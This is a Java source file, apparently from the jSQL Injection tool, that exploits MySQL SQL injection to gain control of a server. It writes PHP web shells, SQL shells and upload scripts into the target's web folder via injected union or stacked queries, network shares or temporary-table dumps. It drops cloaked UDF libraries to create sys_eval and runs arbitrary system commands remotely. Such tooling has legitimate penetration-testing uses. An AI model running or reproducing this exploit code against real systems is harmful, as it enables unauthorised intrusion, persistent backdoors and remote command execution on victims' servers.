ExploitMysql.java
package com.jsql.model.accessible.vendor;
import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.DataAccess;
import com.jsql.model.accessible.ExploitMode;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
import com.jsql.model.bean.database.MockElement;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.model.suspendable.SuspendableGetRows;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.List;
import java.util.Objects;
import java.util.UUID;
import java.util.function.BiPredicate;
import java.util.function.BinaryOperator;
public class ExploitMysql {
/**
* Log4j logger sent to view.
*/
private static final Logger LOGGER = LogManager.getRootLogger();
public static final String NAME_TABLE = "temp";
private final InjectionModel injectionModel;
private final ModelYamlMysql modelYaml;
private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
try {
return this.buildSysEval(nameLibraryRandom);
} catch (JSqlException e) {
throw new JSqlRuntimeException(e);
}
};
public ExploitMysql(InjectionModel injectionModel) {
this.injectionModel = injectionModel;
var yaml = new Yaml();
this.modelYaml = yaml.loadAs(
injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
ModelYamlMysql.class
);
}
public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
request.setParameters(urlSuccess);
this.injectionModel.sendToViews(request);
return urlSuccess;
};
return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
}
public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
request.setParameters(urlSuccess, username, password);
this.injectionModel.sendToViews(request);
return urlSuccess;
}
return StringUtils.EMPTY;
};
var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
if (StringUtils.isEmpty(urlSuccess)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
}
if (StringUtils.isEmpty(urlSuccess)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
}
if (StringUtils.isEmpty(urlSuccess)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
}
return urlSuccess;
}
public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
if (result.body().contains(DataAccess.LEAD +"y")) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
} else {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
}
} catch (InterruptedException e) {
LOGGER.log(LogLevelUtil.IGNORE, e, e);
Thread.currentThread().interrupt();
} catch (IOException | JSqlException e) {
throw new JSqlRuntimeException(e);
}
return urlSuccess;
};
this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
}
/**
* Create shell on remote server
* @param urlExploit URL for the script (used for url rewriting)
*/
public String create(
String pathRemoteFolder,
String urlExploit,
String keyPropertyExploit,
String nameExploit,
BinaryOperator<String> biFuncGetRequest,
String pathNetshareFolder,
ExploitMode exploitMode
) throws JSqlException {
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
return null;
}
String bodyExploit = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
// outfile + binary: content corruption
BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
try {
String resultInjection = this.confirm(pathFolder + nameFile);
return resultInjection.contains(bodyExploit);
} catch (JSqlException e) {
throw new JSqlRuntimeException(e);
}
};
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
String nameExploitValidated = StringUtils.EMPTY;
if (exploitMode == ExploitMode.NETSHARE) {
ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
nameExploitValidated = this.byNetshare(
nbIndexesFound,
pathNetshareFolder,
nameExploit,
pathRemoteFolder,
biPredConfirm
);
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
nameExploitValidated = this.byQueryBody(
nbIndexesFound,
pathRemoteFolder,
nameExploit,
StringUtil.toHexChunks(bodyExploit.getBytes()),
biPredConfirm
);
}
if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
this.byTable(
StringUtil.toHexChunks(bodyExploit.getBytes()),
pathRemoteFolder + nameExploitRandom
);
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
nameExploitValidated = nameExploitRandom;
}
}
if (StringUtils.isEmpty(nameExploitValidated)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
return null;
}
nameExploit = nameExploitValidated;
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
}
public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
return;
}
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
if (StringUtils.isEmpty(pathPlugin)) {
throw new JSqlException("Incorrect plugin folder: path is empty");
}
String nameLibrary = this.getNameLibrary();
pathPlugin = pathPlugin.replace("\\", "/");
if (!pathPlugin.endsWith("/")) {
pathPlugin = String.format("%s%s", pathPlugin, "/");
}
if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
}
String isSuccess = StringUtils.EMPTY;
if (exploitMode == ExploitMode.NETSHARE) {
if (!pathNetshareFolder.endsWith("\\")) {
pathNetshareFolder += "\\";
}
ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
isSuccess = this.byNetshare(
nbIndexesFound,
pathNetshareFolder,
nameLibrary,
pathPlugin,
this.biPredCreateUdf
);
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
}
isSuccess = this.byQueryBody(
nbIndexesFound,
pathPlugin,
nameLibrary,
ExploitMysql.toHexChunks(nameLibrary),
this.biPredCreateUdf
);
}
if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
}
}
private String getNameLibrary() throws JSqlException {
var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
if (StringUtils.isEmpty(versionOsMachine)) {
throw new JSqlException("Incorrect remote machine: unknown system");
}
var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
String nameLibrary;
if (versionOsMachine.contains("64")) {
nameLibrary = isWin ? "64.dll" : "64.so";
} else {
nameLibrary = isWin ? "32.dll" : "32.so";
}
return nameLibrary;
}
public String byQueryBody(
int nbIndexesFound,
String pathRemoteFolder,
String nameExploit,
List<String> hexChunks,
BiPredicate<String,String> biPredConfirm
) {
String nameExploitValidated = StringUtils.EMPTY;
var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
this.injectionModel.injectWithoutIndex(String.format(pattern,
"union",
"'',".repeat(nbIndexesFound),
String.join(StringUtils.EMPTY, hexChunks),
pathRemoteFolder + nameExploitRandom
), "body#union-dump");
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
nameExploitValidated = nameExploitRandom;
}
if (StringUtils.isEmpty(nameExploitValidated)) {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
this.injectionModel.injectWithoutIndex(String.format(pattern,
";",
StringUtils.EMPTY,
String.join(StringUtils.EMPTY, hexChunks),
pathRemoteFolder + nameExploitRandom
), "body#stack-dump");
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
nameExploitValidated = nameExploitRandom;
}
}
return nameExploitValidated;
}
public String byNetshare(
int nbIndexesFound,
String pathNetshareFolder,
String nameExploit,
String pathRemoteFolder,
BiPredicate<String,String> biPredConfirm
) {
String nameExploitValidated = StringUtils.EMPTY;
var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
this.injectionModel.injectWithoutIndex(String.format(pattern,
"union",
"'',".repeat(nbIndexesFound),
pathShareEncoded + nameExploit,
pathRemoteFolder + nameExploitRandom
), "netshare#union");
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
nameExploitValidated = nameExploitRandom;
}
if (StringUtils.isEmpty(nameExploitValidated)) {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
this.injectionModel.injectWithoutIndex(String.format(pattern,
";",
StringUtils.EMPTY,
pathShareEncoded + nameExploit,
pathRemoteFolder + nameExploitRandom
), "netshare#stack");
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
nameExploitValidated = nameExploitRandom;
}
}
return nameExploitValidated;
}
private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
try {
URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("exploit/mysql/" + nameLibrary)).toURI();
Path originalPath = new File(original).toPath();
Path copied = Paths.get(pathNetshare + nameLibrary);
Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
} catch (IOException | URISyntaxException e) {
throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
}
}
public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
nameDatabase = "mysql";
}
var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8); // underscore required, dash not allowed
var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
nameSchemaTable
), ResourceAccess.TBL_DROP);
var countResult = this.getCountTable(nameDatabase, nameTableRandom);
if (!"0".equals(countResult)) {
throw new JSqlException("Drop table failure: "+ countResult);
}
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
nameSchemaTable
), ResourceAccess.TBL_CREATE);
countResult = this.getCountTable(nameDatabase, nameTableRandom);
if (!"1".equals(countResult)) {
throw new JSqlException("Create table failure: "+ countResult);
}
int indexChunk = 0;
for (String chunk: bodyHexChunks) {
if (indexChunk == 0) {
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
nameSchemaTable,
chunk
), "tbl#init");
} else {
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
nameSchemaTable,
chunk
), ResourceAccess.TBL_FILL);
}
indexChunk++;
}
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
nameSchemaTable,
pathRemoteFile
), ResourceAccess.TBL_DUMP);
}
private String getCountTable(String nameDatabase, String nameTableRandom) {
try {
return this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
nameTableRandom,
nameDatabase
), "tbl#check");
} catch (JSqlException e) {
return e.getMessage(); // error message then logged
}
}
private boolean buildSysEval(String nameLibrary) throws JSqlException {
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getAddFunction().getCreate(),
nameLibrary
), "udf#function");
var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
if (!confirm.contains("sys_eval")) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
return false;
}
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_MYSQL);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
return true;
}
private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
Path path = Paths.get(pathFile);
try {
Files.write(path, bodyExploit.getBytes());
} catch (IOException e) {
throw new JSqlException(e);
}
}
public String confirm(String path) throws JSqlException {
var sourcePage = new String[]{ StringUtils.EMPTY };
return new SuspendableGetRows(this.injectionModel).run(
this.modelYaml.getFile().getRead().replace(
VendorYaml.FILEPATH_HEX,
Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
),
sourcePage,
false,
1,
MockElement.MOCK,
"xplt#confirm-file"
);
}
public String runRceCmd(String command, UUID uuidShell) {
String result;
try {
result = this.injectionModel.getResourceAccess().getResult(String.format( // 0xff splits single result in many chunks => replace by space
this.modelYaml.getUdf().getRunCmd(),
command.replace(StringUtils.SPACE, "%20") // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
), "udf#run-cmd") +"\n";
} catch (JSqlException e) {
result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
}
var request = new Request();
request.setMessage(Interaction.GET_TERMINAL_RESULT);
request.setParameters(uuidShell, result);
this.injectionModel.sendToViews(request);
return result;
}
private static List<String> toHexChunks(String filename) throws JSqlException {
try {
byte[] fileData = Objects.requireNonNull( // getResource > toURI > toPath > readAllBytes() not possible in .jar
ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ filename +".cloak")
).readAllBytes();
fileData = StringUtil.uncloak(fileData);
return StringUtil.toHexChunks(fileData);
} catch (IOException e) {
throw new JSqlException(e);
}
}
public ModelYamlMysql getModelYaml() {
return this.modelYaml;
}
}